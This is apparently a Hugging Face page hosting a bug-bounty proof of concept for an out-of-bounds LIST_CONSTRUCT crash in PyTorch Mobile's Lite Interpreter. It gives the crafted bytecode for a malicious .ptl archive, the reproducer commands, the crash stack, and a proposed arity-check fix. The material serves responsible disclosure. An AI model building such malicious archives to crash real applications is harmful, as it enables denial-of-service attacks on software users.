Downloads · 30 days
0
tonydav41/pytorch-mobile-poc-list-construct-oob-2026-05-12
pytorch-mobile-poc-list-construct-oob-2026-05-12 is a machine learning model from tonydav41. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
PoC for huntr submission against PyTorch Mobile (.ptl) – PyTorch.
Downloads · 30 days
0
Access
Public
Updated May 12, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
.out8.1 KB · 33%
From the Hugging Face model README
.ptl LIST_CONSTRUCT OOB Crash PoCPoC for huntr submission against PyTorch Mobile (.ptl) – PyTorch.
PyTorch Mobile's Lite Interpreter loads bytecode via _load_for_lite_interpreter. A malicious .ptl archive can place an out-of-bounds LIST_CONSTRUCT instruction inside a load-time __setstate__ method. When data.pkl is loaded, objLoaderMobile() finds and runs the injected __setstate__ with only the object and serialized state on the interpreter stack (stack size ≤ 2). LIST_CONSTRUCT claims N = 100 inputs; torch::jit::listConstruct computes stack.end() - num_inputs without first validating num_inputs <= stack.size(), and crashes in native vector erase/move handling.
The bug is specific to the mobile bytecode archive — NOT torch.load, NOT torch.package, NOT generic .pt serialized format. The trigger is the __setstate__ of an unserialized object running attacker-controlled bytecode at archive-load time.
.ptl model file consumed by PyTorch Mobile Lite Interpreter.pytorch/pytorch 2.11.0 @ commit 70d99e998b4955e0049d13a98d77ae1b14db1f45 (verified installed wheel)main HEAD (verified via GitHub connector 2026-05-12)torch/csrc/jit/mobile/import.cpp — objLoaderMobile() runs bytecode __setstate__ during archive object loadingtorch/csrc/jit/mobile/parse_bytecode.cpp — parseInstructions() accepts instruction X and N from the serialized stream without opcode-specific stack-arity validationtorch/csrc/jit/mobile/interpreter.cpp — LIST_CONSTRUCT dispatches directly to listConstruct(stack, *code.types_.at(inst.X), inst.N)torch/csrc/jit/runtime/vararg_functions.cpp — listConstruct() uses stack.end() - num_inputs and drop(stack, num_inputs) without the stack-size guard present in the sibling tupleConstruct()python3 poc_ptl_load_crash.py
Output:
baseline_returncode=0
malicious_returncode=-11
crashed_during_load=True
sentinel_exists=True
Direct verification:
PYTHONFAULTHANDLER=1 python3 -X faulthandler -c \
"import torch, torch.jit.mobile as m; m._load_for_lite_interpreter('mal_setstate_list_construct_oob.ptl')"
Crash stack from load_crash.out (SIGSEGV during _load_for_lite_interpreter):
Fatal Python error: Segmentation fault
C stack trace:
std::__1::vector<c10::IValue>::erase(...)
torch::jit::listConstruct(...)
torch::jit::mobile::InterpreterState::run(...)
torch::jit::mobile::Function::run(...)
torch::jit::objLoaderMobile(...)
torch::jit::readArchiveAndTensors(...)
BytecodeDeserializer::readArchive(...)
_load_for_mobile_impl(...)
torch::jit::_load_for_mobile(...)
The PoC starts from a valid _save_for_lite_interpreter archive (baseline-valid.ptl), rewrites only bytecode.pkl, appends a __torch__.ListModule.__setstate__ method, and sets its bytecode to:
(("instructions", (("LIST_CONSTRUCT", 0, 100), ("RET", 0, 0))),
("operators", ()),
("constants", ()),
("types", ("List[Tensor]",)),
("register_size", 0))
N = 100 exceeds the actual stack size (≤ 2), triggering the OOB.
mal_setstate_list_construct_oob.ptl — Malicious archive (2.7 KB) — crashes on _load_for_lite_interpreterbaseline-valid.ptl — Control valid mobile archivepoc_ptl_load_crash.py — Reproducer driverload_crash.out — Captured crash stacktorch.load or torch.package (those load via a separate Python deserialization path)weights_only=False or restricted-loader bypassobjLoaderMobile() → mobile::Function::run() → LIST_CONSTRUCT opcode dispatch<package>/bytecode.pkl (mobile-specific format)In torch/csrc/jit/runtime/vararg_functions.cpp::listConstruct, add the same arity guard already present in tupleConstruct:
void listConstruct(Stack& stack, const c10::Type& list_type, size_t num_inputs) {
TORCH_CHECK(
num_inputs <= stack.size(),
"LIST_CONSTRUCT requires ", num_inputs, " inputs but stack has ", stack.size());
...
}
Defense in depth: extend parseInstructions() in parse_bytecode.cpp to compute per-opcode stack-arity bounds and reject bytecode that overflows the register window.
Reported by lendtrain (huntr) / tonydav41 (HuggingFace). Filed 2026-05-12.